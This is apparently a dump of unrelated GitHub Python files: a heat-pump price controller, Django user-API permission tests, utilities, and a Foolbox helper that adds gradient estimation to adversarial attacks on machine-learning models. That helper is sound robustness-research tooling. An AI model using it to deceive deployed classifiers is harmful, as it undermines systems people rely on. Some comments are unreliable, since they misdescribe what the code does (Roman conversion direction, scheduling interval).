matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n#import RPi.GPIO as GPIO\n\n#GPIO.setmode(GPIO.BCM)\n\ndef main(): # Main funcions\n #GPIO.cleanup()\n energy_data = get_data()\n write_to_json(energy_data)\n price_threshold, temperature_threshold, data, temp_c = extract_data()\n process_data(price_threshold, temperature_threshold, data, temp_c,)\n plot_data(price_threshold)\n\ndef get_data(): # Gets current energy price data in Sweden's energy zone 3.\n today = date.today()\n year = today.strftime(\"%Y\")\n month = today.strftime(\"%m\")\n day = today.strftime(\"%d\")\n url = f\"https://www.elprisetjustnu.se/api/v1/prices/{year}/{month}-{day}_SE3.json\"\n try:\n response = requests.get(url, timeout=20)\n return response.json()\n except requests.exceptions.RequestException as error:\n print(\"An error occurred:\", error)\n\ndef get_weather(): # Gets the current day's forecast.\n with open('api_key.txt', encoding=\"utf8\") as read_file:\n api_key = read_file.read().strip().split(\"=\")[1]\n # Gets the weather data.\n url = f\"http://api.weatherapi.com/v1/current.json?key={api_key}&q=kinna&aqi=no\"\n try:\n response = requests.get(url, timeout=20)\n return response.json()\n except requests.exceptions.RequestException as error:\n print(\"An error occurred:\", error)\n\ndef write_to_json(el_data):\n with open(\"price.json\", \"w\", encoding=\"utf8\") as outfile:\n\n json.dump(el_data, outfile)\n\ndef extract_data(): # Calculate the percentile to get the lowest prices for the day.\n today_price_list = []\n with open('price.json', mode='r', encoding=\"utf8\") as read_file:\n data = json.load(read_file)\n for item in data:\n result = item['SEK_per_kWh']\n today_price_list.append(result)\n\n numpy_today_price = np.array(today_price_list)\n # Geting the lowest 40%\n price_threshold = np.percentile(numpy_today_price, 40)\n weather_data = get_weather()\n temp_c = weather_data[\"current\"][\"temp_c\"]\n with open('threshold.txt', mode='r', encoding=\"utf8\") as read_file:\n temperature_threshold = int(read_file.readline().strip())\n\n return price_threshold, temperature_threshold, data, temp_c\n\n# Loops thru the json file and find the matching hour with the current hour.\ndef process_data(price_threshold, temperature_threshold, data, temp_c):\n for item in data:\n start_time = item[\"time_start\"]\n price_kwh = item[\"SEK_per_kWh\"]\n reformated_time = datetime.strptime(start_time, \"%Y-%m-%dT%H:%M:%S%z\")\n hour = reformated_time.hour\n current_hour = datetime.now().hour\n\n # check if the timestart matches the current time\n if current_hour == hour:\n # Looks for if the price is low and temperature is low so the pump can work\n if price_kwh <= price_threshold and temp_c <= temperature_threshold:\n #GPIO.output(18, GPIO.HIGH)\n app_data = {\n \"status\": \"Kör med extern styrning\",\n \"Pris per kwh\": price_kwh,\n \"Pris gräns\": price_threshold,\n \"Ute temperatur\": temp_c,\n \"Temperatur gräns\": temperature_threshold\n }\n with open(\"app_data.json\", \"w\", encoding=\"utf8\") as outfile:\n json.dump(app_data, outfile)\n else:\n #GPIO.output(18, GPIO.LOW)\n app_data = {\n \"status\": \"Körs inte med extern styrning\",\n \"Pris per kwh\": price_kwh,\n \"Pris gräns\": price_threshold,\n \"Ute temperatur\": temp_c,\n \"Temperatur gräns\": temperature_threshold\n }\n with open(\"app_data.json\", \"w\", encoding=\"utf8\") as outfile:\n json.dump(app_data, outfile)\n else:\n pass\n\ndef plot_data(price_threshold):\n plt.style.use('dark_background')\n with open('price.json', 'r', encoding=\"utf8\") as outfile:\n data = json.load(outfile)\n data_frame = pd.DataFrame(data)\n data_frame['hour'] = data_frame['time_start'].apply(lambda x:\n datetime.strptime(x, '%Y-%m-%dT%H:%M:%S%z').hour)\n markers_on = [1]\n axis = data_frame.plot(x='hour', y=\"SEK_per_kWh\", markevery=markers_on)\n axis.axhline(y=price_threshold, color='red', linestyle='--', label='Pris gräns')\n plt.xticks(np.arange(0, 24, 2))\n plt.xlabel('Timme på dagen')\n plt.ylabel('Pris: SEK per kWh')\n plt.legend()\n plt.savefig('graph.png')\n plt.close('all')\n\nschedule.every().second.do(main) # This code will run every hour\nwhile True:\n schedule.run_pending()\n time.sleep(20)\n","repo_name":"Pyroarti/Geothermal-heating-controller","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27695080881","text":"# Task 6\n# Напишіть функцію, яка переводить ціле число з римського запису до десяткового.\n# Наприклад: XXII -> 22\n\nROMAN = [\n (1000, \"M\"),\n (900, \"CM\"),\n (500, \"D\"),\n (400, \"CD\"),\n (100, \"C\"),\n (90, \"XC\"),\n (50, \"L\"),\n (40, \"XL\"),\n (10, \"X\"),\n (9, \"IX\"),\n (5, \"V\"),\n (4, \"IV\"),\n (1, \"I\"),\n]\n\ndef int_to_roman(number):\n result = \"\"\n for (arabic, roman) in ROMAN:\n (factor, number) = divmod(number, arabic)\n result += roman * factor\n\n return result\n\nprint(int_to_roman(int(input(\"Print number: \"))))","repo_name":"iliukova/Lesson8","sub_path":"Lesson8Task6.py","file_name":"Lesson8Task6.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74336548839","text":"__CONSOLE_IMPORTED = False\ntry:\n\timport console\n\tconsole.set_font('Consolas', 10)\n\t__CONSOLE_IMPORTED = True\nexcept:\n\tpass\nimport colorama\nimport sys\nfrom multiprocessing import Lock\n\nEND = '\\n'\nmu = Lock()\ncolorama.init()\n\nclass __ender(object):\n\tdef end(self):\n\t\tsys.stdout.write(END)\n\t\ndef set_color(r, g, b, clr):\n\tif __CONSOLE_IMPORTED:\n\t\tconsole.set_color(r, g, b)\n\telse:\n\t\tsys.stdout.write(clr)\n\t\ndef info(text):\n\t#mu.acquire()\n\tset_color(0.9, 1, 1, colorama.Fore.LIGHTCYAN_EX)\n\tunsafe_print('[INFO] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef err(text):\n\t#mu.acquire()\n\tset_color(1, 0.2, 0.1, colorama.Fore.RED)\n\tunsafe_print('[ERROR] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef warn(text):\n\t#mu.acquire()\n\tset_color(1, 1, 0, colorama.Fore.YELLOW)\n\tunsafe_print('[WARN] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\t\ndef debug(text):\n\t#mu.acquire()\n\tset_color(0.8, 0.8, 0.8, colorama.Fore.WHITE)\n\tunsafe_print('[DEBUG] ')\n\tunsafe_print(text)\n\t#mu.release()\n\treturn __ender()\n\ndef unsafe_print(text):\n\treturn sys.stdout.write(text)\n\t\nif __name__ == '__main__':\n\t\n\tinfo('Hello World').end()\n\terr('Hello World').end()\n\twarn('Hello World').end()\n\tdebug('Hello World').end()\n","repo_name":"xtery/xgram","sub_path":"xgram/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25802614772","text":"n = input()\r\nnum_only = n.replace('+',' ').replace('-',' ')\r\nnums = list(map(int,num_only.split()))\r\n\r\ncal=[]\r\nfor i in n:\r\n if i == '-' or i==\"+\":\r\n cal.append(i)\r\n\r\nsum = nums[0] \r\nfor i in range(len(cal)):\r\n if cal[i]=='-':\r\n sum -= nums[i+1]\r\n if i < len(cal)-1:\r\n cal[i+1]= '-'\r\n else:\r\n sum += nums[i+1]\r\nprint(sum)","repo_name":"ansdmswl0722/Baekjoon","sub_path":"백준/Silver/1541. 잃어버린 괄호/잃어버린 괄호.py","file_name":"잃어버린 괄호.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23399029911","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom django.contrib.auth.models import User\nfrom rest_framework import status\n\nfrom main.test.api.abstract_rtg_api_test import RtgApiTestCase\nfrom main.test.utils import TestModelUtils\nfrom main.models import Profile\n\n\nclass UserApiTests(RtgApiTestCase):\n \"\"\"\n Users are read_only via the API, except for updates of the own user\n \"\"\"\n\n def setUp(self):\n User.objects.all().delete()\n Profile.objects.all().delete()\n\n def test_user_create(self):\n self.create_test_user(admin=True)\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_user_create_non_admin(self):\n self.create_test_user()\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n def test_user_create_unauth(self):\n self.create_test_user(auth=False)\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_user_read(self):\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.set_api_client(u1)\n\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u1.pk))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u1.username)\n self.assertIsNotNone(response.data['first_name'])\n self.assertIsNotNone(response.data['last_name'])\n self.assertIsNotNone(response.data['email'])\n\n # other users may NOT be read (they are just not found)\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u2.pk))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_read_list(self):\n \"\"\"\n When a user requests the user list, they will only get their own in return.\n \"\"\"\n u1, u2, u3 = TestModelUtils.create_user(), TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.set_api_client(u1)\n\n response = self.client.get(self.USERS_BASEURL)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(1, len(response.data))\n\n def test_user_read_admin(self):\n \"\"\"\n admins may read all user details, even of different users\n \"\"\"\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.create_test_user(name=u1.username, admin=True)\n\n users_list = self.client.get(self.USERS_BASEURL).data\n self.assertEqual(len(users_list), 2)\n\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u2.pk))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u2.username)\n self.assertEqual(response.data['first_name'], u2.first_name)\n self.assertEqual(response.data['last_name'], u2.last_name)\n self.assertEqual(response.data['email'], u2.email)\n\n def test_user_public_read(self):\n public_user = self.create_test_user(auth=False)\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, public_user.pk))\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_user_update_other_user_as_admin(self):\n u1 = self.create_test_user('u1')\n self.create_test_user('admin_user', admin=True)\n\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk), {'username': 'newuser'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(username='newuser')\n self.assertIsNotNone(updated_user)\n self.assertEqual(updated_user.username, 'newuser')\n self.assertRaises(User.DoesNotExist, User.objects.get, username='u1')\n\n def test_user_update_other_user_forbidden(self):\n u1 = self.create_test_user('u1')\n self.create_test_user('u2')\n\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk), {'username': 'newuser'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_update_self(self):\n u1 = self.create_test_user('u1')\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'username': 'newuser', 'about': 'This is me!', 'location': 'Köln'},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(username='newuser')\n self.assertIsNotNone(updated_user)\n self.assertEqual(updated_user.username, 'newuser')\n self.assertRaises(User.DoesNotExist, User.objects.get, username='u1')\n\n def test_user_update_self_profile_updates(self):\n u1 = self.create_test_user('u1')\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'email2': 'mail@mail2.de', 'location': 'Kölle', 'about': 'It\\'s me',\n 'avatar': None, 'reminder_emails': False}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_profile = Profile.objects.get(pk=u1.pk)\n self.assertEqual('mail@mail2.de', updated_profile.email2)\n self.assertEqual('Kölle', updated_profile.location)\n self.assertEqual('It\\'s me', updated_profile.about)\n self.assertFalse(updated_profile.reminder_emails)\n\n def test_user_update_username_valid(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'username': 'Hans im Glück', 'first_name': 'Hans', 'last_name': ''},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(pk=user.pk)\n self.assertEqual('Hans', updated_user.first_name)\n self.assertEqual('', updated_user.last_name)\n\n def test_user_update_empty_fields(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'about': '', 'location': '', 'email2': ''}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_user_update_username_too_short(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk), {'username': 'ei'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_username_invalid(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'username': 'semikolon;;;'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_first_name_too_long(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'first_name': 'aaaaaaaaa max. 30 characters aaaaaaaaaaaaaaaaaaaaaaaa'},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_public(self):\n u1 = self.create_test_user('u1', auth=False)\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'username': 'newuser', 'location': 'Buxtehude'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_admin_read_user_details(self):\n \"\"\"\n Admins can request more user details via a dedicated admin endpoint\n \"\"\"\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.create_test_user(name=u1.username, admin=True)\n\n response = self.client.get('%s%i/' % (self.ADMIN_USERS_BASEURL, u2.pk))\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u2.username)\n self.assertEqual(response.data['open_bettables'], 0)\n self.assertEqual(response.data['last_login'], None)\n \n def test_admin_update_user_has_paid_valid(self):\n \"\"\"\n Admins may patch any user\n \"\"\"\n self.create_test_user(admin=True)\n some_user = TestModelUtils.create_user()\n\n response = self.client.patch(\"%s%i/\" % (self.ADMIN_USERS_BASEURL, some_user.pk),\n {'has_paid': 'true'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(pk=some_user.pk)\n self.assertEqual(True, updated_user.profile.has_paid)\n\n def test_user_update_user_has_paid_failure(self):\n \"\"\"\n Normal users may not patch a different user\n \"\"\"\n self.create_test_user()\n some_user = TestModelUtils.create_user()\n\n response = self.client.patch(\"%s%i/\" % (self.ADMIN_USERS_BASEURL, some_user.pk),\n {'has_paid': 'true'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n updated_user = User.objects.get(pk=some_user.pk)\n self.assertEqual(False, updated_user.profile.has_paid)\n\n def test_user_delete_other_user_not_found(self):\n \"\"\"\n A user attempting to delete another user will get a 404 because the User view set\n will not even allow the user to see the other user, let alone deleting them.\n \"\"\"\n self.create_test_user()\n some_other_user = TestModelUtils.create_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, some_other_user.pk))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_delete_self_ok(self):\n user = self.create_test_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, user.pk))\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n def test_admin_delete_user_ok(self):\n self.create_test_user(admin=True)\n some_other_user = TestModelUtils.create_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, some_other_user.pk))\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n def create_test_user_api(self):\n return self.client.post(self.USERS_BASEURL, {'username': 'test_user_api', 'first_name': 'Testy',\n 'last_name': 'McTestface', 'email': 'test_user@test.de'},\n format='json')\n","repo_name":"mloeks/rtg","sub_path":"main/test/api/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":10910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20094475295","text":"from enum import Enum\n\nDATE_FORMAT: str = \"%Y-%m-%d\"\nPRECISION: int = 2\n\n\nclass Status(Enum):\n \"\"\"\n Enum for application Status. It can be `APPLIED`, `OA`, `TECH_INTERVIEW`, `HR_ROUND`, `REJECTED` or `OFFER`.\n\n A list of possible values that user can enter for it can be seen [here][track.app_constants.from_string].\n \"\"\"\n\n APPLIED = \"APPLIED\"\n OA = \"ONLINE_ASSESSMENT\"\n TECH_INTERVIEW = \"TECH_INTERVIEW\"\n HR_ROUND = \"HR_ROUND\"\n REJECTED = \"REJECTED\"\n OFFER = \"OFFER\"\n\n\ndef from_string(status: str) -> Status:\n \"\"\"\n Parse the given string to the corresponding `Status` Enum value. Only the values mentioned in the source code below\n for each status will be allowed and converted to the corresponding Enum value.\n\n Args:\n status: Status value in `str`.\n\n Returns:\n Status: Corresponding Enum value for the given string\n \"\"\"\n if status.upper() == \"APPLIED\":\n return Status.APPLIED\n elif status.upper() in [\n \"ONLINE_ASSESSMENT\",\n \"ONLINE ASSESSMENT\",\n \"OA\",\n \"ONLINE-ASSESSMENT\",\n ]:\n return Status.OA\n elif status.upper() in [\n \"TECH_INTERVIEW\",\n \"TECH INTERVIEW\",\n \"TECH-INTERVIEW\",\n \"TECH ROUND\",\n \"TECH_ROUND\",\n \"TECH-ROUND\",\n \"TECH\",\n ]:\n return Status.TECH_INTERVIEW\n elif status.upper() in [\"HR_ROUND\", \"HR ROUND\", \"HR-ROUND\"]:\n return Status.HR_ROUND\n elif status.upper() in [\"REJECTED\"]:\n return Status.REJECTED\n elif status.upper() in [\"OFFER\", \"SELECTED\"]:\n return Status.OFFER\n else:\n raise ValueError(f\"'{status}' is not a Valid Status\")\n","repo_name":"itsadityagupta/track-job-applications","sub_path":"track/app_constants.py","file_name":"app_constants.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30346051669","text":"import os\nimport sys\nimport csv\nimport traceback\nsys.path.append(\"/usr/lib/archivematica/archivematicaCommon\")\nfrom sharedVariablesAcrossModules import sharedVariablesAcrossModules\n\nsimpleMetadataCSVkey = []\nsimpleMetadataCSV = {}\ncompoundMetadataCSVkey = []\ncompoundMetadataCSV = {}\n\n\nCSVMetadata = (simpleMetadataCSVkey, simpleMetadataCSV,\n compoundMetadataCSVkey, compoundMetadataCSV)\n\n\ndef parseMetadata(SIPPath):\n transfersPath = os.path.join(SIPPath, \"objects\", \"metadata\", \"transfers\")\n if not os.path.isdir(transfersPath):\n return\n for transfer in os.listdir(transfersPath):\n metadataCSVFilePath = os.path.join(transfersPath,\n transfer, \"metadata.csv\")\n if os.path.isfile(metadataCSVFilePath):\n try:\n parseMetadtaCSV(metadataCSVFilePath)\n except Exception as inst:\n print >>sys.stderr, type(inst) # the exception instance\n print >>sys.stderr, inst.args\n print >>sys.stderr, \"error parsing: \", metadataCSVFilePath\n traceback.print_exc(file=sys.stdout)\n sharedVariablesAcrossModules.globalErrorCount += 1\n\n\ndef parseMetadtaCSV(metadataCSVFilePath):\n # use universal newline mode to support unusual newlines, like \\r\n with open(metadataCSVFilePath, 'rbU') as f:\n reader = csv.reader(f)\n firstRow = True\n type = \"\"\n for row in reader:\n if firstRow: # header row\n type = row[0].lower()\n if type == \"filename\":\n CSVMetadata[0].extend(row)\n elif type == \"parts\":\n CSVMetadata[2].extend(row)\n else:\n print >>sys.stderr, \"error parsing: \", metadataCSVFilePath\n print >>sys.stderr, \"unsupported: \", type\n sharedVariablesAcrossModules.globalErrorCount += 1\n return\n firstRow = False\n\n else: # data row\n if type == \"filename\":\n simpleMetadataCSV[row[0]] = row\n elif type == \"parts\":\n directory = row[0]\n if directory.endswith(\"/\"):\n directory = directory[:-1]\n compoundMetadataCSV[directory] = row\n","repo_name":"andrewjbtw/archivematica","sub_path":"src/MCPClient/lib/clientScripts/archivematicaCreateMETSMetadataCSV.py","file_name":"archivematicaCreateMETSMetadataCSV.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"72824366120","text":"from typing import Callable, Tuple, Type\nimport eagerpy as ep\nfrom .types import BoundsInput, Bounds\nfrom .attacks.base import Attack\n\n\ndef evolutionary_strategies_gradient_estimator(\n AttackCls: Type[Attack],\n *,\n samples: int,\n sigma: float,\n bounds: BoundsInput,\n clip: bool,\n) -> Type[Attack]:\n\n if not hasattr(AttackCls, \"value_and_grad\"):\n raise ValueError(\n \"This attack does not support gradient estimators.\"\n ) # pragma: no cover\n\n bounds = Bounds(*bounds)\n\n class GradientEstimator(AttackCls): # type: ignore\n def value_and_grad(\n self,\n loss_fn: Callable[[ep.Tensor], ep.Tensor],\n x: ep.Tensor,\n ) -> Tuple[ep.Tensor, ep.Tensor]:\n value = loss_fn(x)\n\n gradient = ep.zeros_like(x)\n for k in range(samples // 2):\n noise = ep.normal(x, shape=x.shape)\n\n pos_theta = x + sigma * noise\n neg_theta = x - sigma * noise\n\n if clip:\n pos_theta = pos_theta.clip(*bounds)\n neg_theta = neg_theta.clip(*bounds)\n\n pos_loss = loss_fn(pos_theta)\n neg_loss = loss_fn(neg_theta)\n\n gradient += (pos_loss - neg_loss) * noise\n\n gradient /= 2 * sigma * 2 * samples\n\n return value, gradient\n\n GradientEstimator.__name__ = AttackCls.__name__ + \"WithESGradientEstimator\"\n GradientEstimator.__qualname__ = AttackCls.__qualname__ + \"WithESGradientEstimator\"\n return GradientEstimator\n\n\nes_gradient_estimator = evolutionary_strategies_gradient_estimator\n","repo_name":"bethgelab/foolbox","sub_path":"foolbox/gradient_estimators.py","file_name":"gradient_estimators.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":2569,"dataset":"github-code","pt":"18"} +{"seq_id":"11627016865","text":"#!/usr/bin/python\n# encoding: utf-8\n\nimport sys\n\nfrom workflow import Workflow, web\n\nitems = {'movies': 'm', 'tvResults': 'tv', 'actors': 'celebrity'}\n\ndef getThumbnail(id, url, type):\n import urllib\n import os.path\n\n if url.endswith('gif'):\n return 'images/%s.png' % type\n\n newImagePath = '%s/%s' % (wf.cachedir, id)\n\n if not os.path.isfile(newImagePath):\n urllib.urlretrieve(url, newImagePath)\n\n return newImagePath\n\n\ndef main(wf):\n if len(wf.args):\n query = wf.args[0]\n else:\n query = None\n\n url = 'http://www.rottentomatoes.com/search/json/'\n params = dict(q_enc='UTF-8',\n catCount=2,\n q=query.strip())\n\n response = web.get(url, params)\n json = response.json()\n\n for key in items.keys():\n for item in json[key]:\n title = item['name']\n subtitle = ''\n id = None\n url = None\n\n if 'vanity' in item:\n id = '%s' % item['vanity']\n url = 'http://www.rottentomatoes.com/%s/%s' % (items[key], id)\n\n if 'url' in item:\n id = '%s' % item['url']\n url = 'http://www.rottentomatoes.com%s' % (id)\n\n # ico = getThumbnail(id, item['image'], key)\n\n if 'subline' in item:\n subtitle = item['subline']\n\n if 'year' in item:\n title = u'%s (%s)' % (title, item['year'])\n\n if 'startYear' in item and 'endYear' in item:\n title = u'%s (%s - %s)' % (title, item['startYear'], item['endYear'])\n\n if id is not None:\n wf.add_item(\n title=title,\n subtitle=subtitle,\n arg=url,\n valid=True,\n icon='images/%s.png' % key,\n icontype=None,\n uid=id\n )\n\n wf.send_feedback()\n\n\nif __name__ == '__main__':\n wf = Workflow()\n sys.exit(wf.run(main))","repo_name":"mrz1277/alfred-workflows","sub_path":"net.yakiyama.alfred.rotten/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"29393097729","text":"from states import State\nfrom text import *\n\nclass ControlsScreen(State):\n def __init__(self,game):\n super().__init__(game)\n self.player_controls = Text(40,'PLAYER 1',self.game.WIDTH//4,50,'#5ea3d1')\n self.opponent_controls = Text(40,'PLAYER 2',self.game.WIDTH*3//4,50,'#c2626b')\n\n self.player_controls1 = PromptText(35, 'W: Move up',75,100,'#5ea3d1')\n self.player_controls2 = PromptText(35, 'S: Move down',75,130,'#5ea3d1')\n\n self.opponent_controls1 = PromptText(35, 'Arrow key up: Move up',400,100,'#c2626b')\n self.opponent_controls2 = PromptText(35, 'Arrow key down: Move down',400,130,'#c2626b')\n\n self.win_text = Text(40, 'First Player to score 5 points wins!',self.game.WIDTH//2,410,'#d19a66')\n \n def draw(self, screen):\n self.player_controls.draw(screen)\n self.opponent_controls.draw(screen)\n \n pygame.draw.aaline(screen, (200,200,200),(self.game.WIDTH//2,0),(self.game.WIDTH//2,320))\n pygame.draw.aaline(screen, (200,200,200),(0,320),(self.game.WIDTH,320))\n \n self.player_controls1.draw(screen)\n self.player_controls2.draw(screen)\n \n self.opponent_controls1.draw(screen)\n self.opponent_controls2.draw(screen)\n \n self.win_text.draw(screen)\n ","repo_name":"LuisMCap/Pong-Game","sub_path":"src/controls.py","file_name":"controls.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14855393466","text":"from json import loads\nfrom urllib.parse import urlencode\nfrom urllib.request import urlopen\n\nfrom django.apps import apps\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.db import models\nfrom django.db.models.base import ModelBase\nfrom django.template.defaultfilters import truncatewords_html\nfrom django.utils.html import format_html, strip_tags\nfrom django.utils.timesince import timesince\nfrom django.utils.timezone import now\nfrom django.utils.translation import gettext\nfrom django.utils.translation import gettext_lazy as _\n\nfrom mezzanine.conf import settings\nfrom mezzanine.core.fields import OrderField, RichTextField\nfrom mezzanine.core.managers import CurrentSiteManager, DisplayableManager\nfrom mezzanine.generic.fields import KeywordsField\nfrom mezzanine.utils.html import TagCloser\nfrom mezzanine.utils.models import base_concrete_model, get_user_model_name\nfrom mezzanine.utils.sites import current_request, current_site_id\nfrom mezzanine.utils.urls import admin_url, slugify, unique_slug\n\nuser_model_name = get_user_model_name()\n\n\ndef wrapped_manager(klass):\n if settings.USE_MODELTRANSLATION:\n from modeltranslation.manager import MultilingualManager\n\n class Mgr(MultilingualManager, klass):\n pass\n\n return Mgr()\n else:\n return klass()\n\n\nclass SiteRelated(models.Model):\n \"\"\"\n Abstract model for all things site-related. Adds a foreignkey to\n Django's ``Site`` model, and filters by site with all querysets.\n See ``mezzanine.utils.sites.current_site_id`` for implementation\n details.\n \"\"\"\n\n objects = wrapped_manager(CurrentSiteManager)\n\n class Meta:\n abstract = True\n\n site = models.ForeignKey(\"sites.Site\", on_delete=models.CASCADE, editable=False)\n\n def save(self, update_site=False, *args, **kwargs):\n \"\"\"\n Set the site to the current site when the record is first\n created, or the ``update_site`` argument is explicitly set\n to ``True``.\n \"\"\"\n if update_site or (self.id is None and self.site_id is None):\n self.site_id = current_site_id()\n super().save(*args, **kwargs)\n\n\nclass Slugged(SiteRelated):\n \"\"\"\n Abstract model that handles auto-generating slugs. Each slugged\n object is also affiliated with a specific site object.\n \"\"\"\n\n title = models.CharField(_(\"Title\"), max_length=500)\n slug = models.CharField(\n _(\"URL\"),\n max_length=2000,\n blank=True,\n help_text=_(\"Leave blank to have the URL auto-generated from \" \"the title.\"),\n )\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return self.title\n\n def save(self, *args, **kwargs):\n \"\"\"\n If no slug is provided, generates one before saving.\n \"\"\"\n if not self.slug:\n self.slug = self.generate_unique_slug()\n super().save(*args, **kwargs)\n\n def generate_unique_slug(self):\n \"\"\"\n Create a unique slug by passing the result of get_slug() to\n utils.urls.unique_slug, which appends an index if necessary.\n \"\"\"\n # For custom content types, use the ``Page`` instance for\n # slug lookup.\n concrete_model = base_concrete_model(Slugged, self)\n slug_qs = concrete_model.objects.exclude(id=self.id)\n return unique_slug(slug_qs, \"slug\", self.get_slug())\n\n def get_slug(self):\n \"\"\"\n Allows subclasses to implement their own slug creation logic.\n \"\"\"\n attr = \"title\"\n if settings.USE_MODELTRANSLATION:\n from modeltranslation.utils import build_localized_fieldname\n\n attr = build_localized_fieldname(attr, settings.LANGUAGE_CODE)\n # Get self.title_xx where xx is the default language, if any.\n # Get self.title otherwise.\n return slugify(getattr(self, attr, None) or self.title)\n\n def admin_link(self):\n return format_html(\n \"{}\", self.get_absolute_url(), gettext(\"View on site\")\n )\n\n admin_link.short_description = \"\"\n\n\nclass MetaData(models.Model):\n \"\"\"\n Abstract model that provides meta data for content.\n \"\"\"\n\n _meta_title = models.CharField(\n _(\"Title\"),\n null=True,\n blank=True,\n max_length=500,\n help_text=_(\n \"Optional title to be used in the HTML title tag. \"\n \"If left blank, the main title field will be used.\"\n ),\n )\n description = models.TextField(_(\"Description\"), blank=True)\n gen_description = models.BooleanField(\n _(\"Generate description\"),\n help_text=_(\n \"If checked, the description will be automatically \"\n \"generated from content. Uncheck if you want to manually \"\n \"set a custom description.\"\n ),\n default=True,\n )\n keywords = KeywordsField(verbose_name=_(\"Keywords\"))\n\n class Meta:\n abstract = True\n\n def save(self, *args, **kwargs):\n 